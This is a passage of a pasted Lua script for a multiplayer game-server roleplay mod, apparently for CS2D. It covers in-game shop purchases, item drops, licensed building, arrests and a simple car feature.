else
nmn(id)
end
elseif sel == 2 then
if rp_money[id]>=20000 then
parse([[equip ]]..id..[[ 41]])
rp_money[id]=rp_money[id]-20000
else
nmn(id)
end
elseif sel == 3 then
if rp_money[id]>=50000 then
parse([[equip ]]..id..[[ 81]])
rp_money[id]=rp_money[id]-50000
else
nmn(id)
end
elseif sel == 4 then
if rp_money[id]>=10000 then
parse([[equip ]]..id..[[ 3]])
rp_money[id]=rp_money[id]-10000
else
nmn(id)
end
elseif sel == 5 then
if rp_money[id]>=25000 then
parse([[equip ]]..id..[[ 6]])
rp_money[id]=rp_money[id]-25000
else
nmn(id)
end
elseif sel == 6 then
if rp_money[id]>=30000 then
parse([[equip ]]..id..[[ 69]])
rp_money[id]=rp_money[id]-30000
else
nmn(id)
end
elseif sel == 7 then
if rp_money[id]>=50000 then
parse([[equip ]]..id..[[ 82]])
rp_money[id]=rp_money[id]-50000
else
nmn(id)
end
end
end
if men == [[Drop System]] then
if sel == 1 then
if rp_money[id]>= 100 then
parse([[spawnitem 66 ]]..x..[[ ]]..y)
rp_money[id]=rp_money[id]-100
else
nmn(id)
end
elseif sel == 2 then
if rp_money[id]>= 500 then
parse([[spawnitem 67 ]]..x..[[ ]]..y)
rp_money[id]=rp_money[id]-500
else
nmn(id)
end
elseif sel == 3 then
if rp_money[id]>= 1000 then
parse([[spawnitem 68 ]]..x..[[ ]]..y)
rp_money[id]=rp_money[id]-1000
else
nmn(id)
end
elseif sel == 4 then
if rp_money[id]>= 5000 then
for i = 1,5 do
parse([[spawnitem 68 ]]..x..[[ ]]..y)
rp_money[id]=rp_money[id]-1000
end
else
nmn(id)
end
elseif sel == 5 then
if rp_money[id]>= 10000 then
for i = 1,10 do
parse([[spawnitem 68 ]]..x..[[ ]]..y)
rp_money[id]=rp_money[id]-1000
end
else
mnm(id)
end
elseif sel == 6 then
if rp_money[id]>= 50000 then
for i = 1,50 do
parse([[spawnitem 68 ]]..x..[[ ]]..y)
rp_money[id]=rp_money[id]-1000
end
else
nmn(id)
end
elseif sel == 7 then
if rp_money[id]>= 100000 then
for i = 1,100 do
parse([[spawnitem 68 ]]..x..[[ ]]..y)
rp_money[id]=rp_money[id]-1000
end
else
nmn(id)
end
elseif sel == 8 then
if rp_license[id]==true then
rp_msg2(id,[[000255000]],[[Now you can drop an item!@C]])
rp_drop_item[id]=true
else
rp_msg2(id,[[255000000]],[[You must to be licensed to use this function!]])
end
end
end
updatehud(id)
end
function mlicense(id)
bf4_msg2(id,[[255000000]],[[You must to be licensed to build this!@C]])
end
addhook([[buildattempt]],[[rp_build]])
function rp_build(id,type,x,y)
if rp_ct[id]==true then
if rp_build_m[id]==1 then
if type == 8 then
if not entity(x,y,[[exists]]) then
parse([[spawnobject 12 ]]..x..[[ ]]..y..[[ ]]..player(id,[[rot]])..[[ 0 ]]..player(id,[[team]])..[[ ]]..id)
return 1
end
elseif type == 21 then
return 0
else
if not entity(x,y,[[exists]]) then
parse([[spawnobject ]]..type..[[ ]]..x..[[ ]]..y..[[ ]]..player(id,[[rot]])..[[ 0 ]]..player(id,[[team]])..[[ ]]..id)
return 1
end
end
elseif rp_build_m[id]==2 then
if type == 8 then
if not entity(x,y,[[exists]]) then
parse([[spawnobject 12 ]]..x..[[ ]]..y..[[ ]]..player(id,[[rot]])..[[ 0 0 ]]..id)
return 1
end
elseif type == 21 then
return 0
else
if not entity(x,y,[[exists]]) then
parse([[spawnobject ]]..type..[[ ]]..x..[[ ]]..y..[[ ]]..player(id,[[rot]])..[[ 0 0 ]]..id)
return 1
end
end
end
else
if type == 6 then
if rp_license[id]==true then
if rp_money[id]>= 1500 then
parse([[spawnobject 6 ]]..x..[[ ]]..y..[[ ]]..player(id,[[rot]])..[[ 0 ]]..player(id,[[team]])..[[ ]]..id)
rp_money[id]=rp_money[id]-1500
else
nmn(id)
end
else
mlicense(id)
end
elseif type == 7 then
if rp_license[id]==true then
if rp_money[id]>= 5000 then
parse([[spawnobject 7 ]]..x..[[ ]]..y..[[ ]]..player(id,[[rot]])..[[ 0 ]]..player(id,[[team]])..[[ ]]..id)
rp_money[id]=rp_money[id]-5000
else
nmn(id)
end
else
mlicense(id)
end
elseif type == 8 then
if rp_license[id]==true then
if rp_money[id]>=5000 then
parse([[spawnobject 8 ]]..x..[[ ]]..y..[[ ]]..player(id,[[rot]])..[[ 0 ]]..player(id,[[team]])..[[ ]]..id)
rp_money[id]=rp_money[id]-5000
else
nmn(id)
end
else
mlicense(id)
end
elseif type == 9 then
if rp_license[id]==true then
if rp_money[id]>=5000 then
parse([[spawnobject 9 ]]..x..[[ ]]..y..[[ ]]..player(id,[[rot]])..[[ 0 ]]..player(id,[[team]])..[[ ]]..id)
rp_money[id]=rp_money[id]-5000
else
nmn(id)
end
else
mlicense(id)
end
elseif type == 13 then
if rp_license[id]==true then
if rp_money[id]>=3000 then
parse([[spawnobject 13 ]]..x..[[ ]]..y..[[ ]]..player(id,[[rot]])..[[ 0 ]]..player(id,[[team]])..[[ ]]..id)
rp_money[id]=rp_money[id]-3000
else
nmn(id)
end
else
mlicense(id)
end
elseif type == 14 then
if rp_license[id]==true then
if rp_money[id]>=3000 then
parse([[spawnobject 14 ]]..x..[[ ]]..y..[[ ]]..player(id,[[rot]])..[[ 0 ]]..player(id,[[team]])..[[ ]]..id)
rp_money[id]=rp_money[id]-3000
else
nmn(id)
end
else
mlicense(id)
end
elseif type == 1 then
if rp_money[id]>=300 then
parse([[spawnobject 1 ]]..x..[[ ]]..y..[[ ]]..player(id,[[rot]])..[[ 0 ]]..player(id,[[team]])..[[ ]]..id)
rp_money[id]=rp_money[id]-300
else
nmn(id)
end
elseif type == 2 then
if rp_money[id]>=500 then
parse([[spawnobject 2 ]]..x..[[ ]]..y..[[ ]]..player(id,[[rot]])..[[ 0 ]]..player(id,[[team]])..[[ ]]..id)
rp_money[id]=rp_money[id]-500
else
nmn(id)
end
elseif type == 3 then
if rp_money[id]>=1000 then
parse([[spawnobject 3 ]]..x..[[ ]]..y..[[ ]]..player(id,[[rot]])..[[ 0 ]]..player(id,[[team]])..[[ ]]..id)
rp_money[id]=rp_money[id]-1000
else
nmn(id)
end
elseif type == 4 then
if rp_money[id]>=2000 then
parse([[spawnobject 4 ]]..x..[[ ]]..y..[[ ]]..player(id,[[rot]])..[[ 0 ]]..player(id,[[team]])..[[ ]]..id)
rp_money[id]=rp_money[id]-2000
else
nmn(id)
end
elseif type == 5 then
if rp_money[id]>=3000 then
parse([[spawnobject 5 ]]..x..[[ ]]..y..[[ ]]..player(id,[[rot]])..[[ 0 ]]..player(id,[[team]])..[[ ]]..id)
rp_money[id]=rp_money[id]-3000
else
nmn(id)
end
end
end
updatehud(id)
end
addhook([[spawn]],[[rp_spawn]])
function rp_spawn(id)
if rp_arrest[id]==false then
-- if tsb[id]==1 then
-- parse([[setpos ]]..id..[[ ]]..tele_x[id]..[[ ]]..tele_y[id])
-- end
else
return "50,74"
end
parse([[equip ]]..id..[[ 74]])
parse([[equip ]]..id..[[ 75]])
end
addhook([[hit]],[[rp_hit]])
function rp_hit(id,source,wpn,hpdmg)
if wpn == 45 then
rp_msg2(source,[[255000000]],[[This is a minning Laser!]])
return 1
elseif wpn == 5 then
rp_money[source]=rp_money[source]+100
rp_money[id]=rp_money[id]-100
updatehud(source)
updatehud(id)
return 1
elseif wpn == 6 then
if rp_ct[source]==true then
if arrest_x[source]>0 and arrest_y[source]>0 then
parse([[setpos ]]..id..[[ ]]..arrest_x[source]..[[ ]]..arrest_y[source])
else
rp_msg2(source,[[255000000]],[[Not position stored!]])
end
else
rp_msg2(source,[[255000000]],[[You cant arrest, you aren't CT]])
end
return 1
elseif wpn == 3 then
parse([[sethealth ]]..id..[[ ]]..player(id,[[health]])+math.random(10,20))
rp_msg2(id,[[255255000]],[[You have been healed by ]]..player(source,[[name]]))
return 1
elseif wpn == 46 then
parse([[sethealth ]]..id..[[ ]]..player(id,[[health]])+1)
return 1
elseif wpn == 86 then
parse([[sethealth ]]..id..[[ ]]..player(id,[[health]])+math.random(10,20))
return 1
elseif wpn == 31 then
if rp_ct[source]==true then
parse([[explosion ]]..player(id,[[x]])..[[ ]]..player(id,[[y]])..[[ 10 1000000 ]]..source)
return 1
end
elseif wpn == 21 then
rp_money[id]=rp_money[id]-50
rp_money[source]=rp_money[source]+50
return 1
elseif wpn == 75 then
if rp_money[source]>=100 then
rp_money[source]=rp_money[source]-100
rp_money[id]=rp_money[id]+100
return 1
else
nmn(source)
return 1
end
end
if isAdmin(id) then
return 1
end
updatehud(id)
if source ~= nil then
if player(source,[[exists]]) then
updatehud(source)
end
end
end
addhook([[projectile]],[[rp_projectile]])
function rp_projectile(id,wpn,x,y)
if wpn == 54 then
parse([[flasposition ]]..x..[[ ]]..y..[[ 500]])
elseif wpn == 53 then
parse([[setpos ]]..id..[[ ]]..x..[[ ]]..y)
end
if rp_ct[id]==true then
parse([[equip ]]..id..[[ ]]..wpn)
parse([[setweapon ]]..id..[[ ]]..wpn)
end
end
addhook([[use]],[[carmod_use]])
function carmod_use(id,event,data,x,y)
if event == 0 then
if pic[id] == 0 then
if player(id,[[tilex]])==car_tx[id] and player(id,[[tiley]])==car_ty[id] then
freeimage(car_img_pos[id])
pl_speed[id]=player(id,[[speedmod]])
car_img[id]=image([[gfx/gfx/CF_cars/rage.bmp]],1,1,200+id) -- 423 Coloque onde esta o img do carro
parse([[speedmod ]]..id..[[ -100]])
pic[id]=1
end
elseif pic[id]==1 then
freeimage(car_img[id])
parse([[speedmod ]]..id..[[ ]]..pl_speed[id])
car_tx[currentcar[id]]=player(id,[[tilex]])
car_ty[currentcar[id]]=player(id,[[tiley]])
car_img_pos[id]=image([[gfx/gfx/CF_cars/rage.bmp]],1,1,1) -- 423 Coloque onde esta o img do carro
imagepos(car_img_pos[id],player(id,[[x]]),player(id,[[y]]),player(id,[[rot]]))
pic[id]=0
end
end
end Pasted: Jul 26, 2012, 6:09:00 pm
Views: 39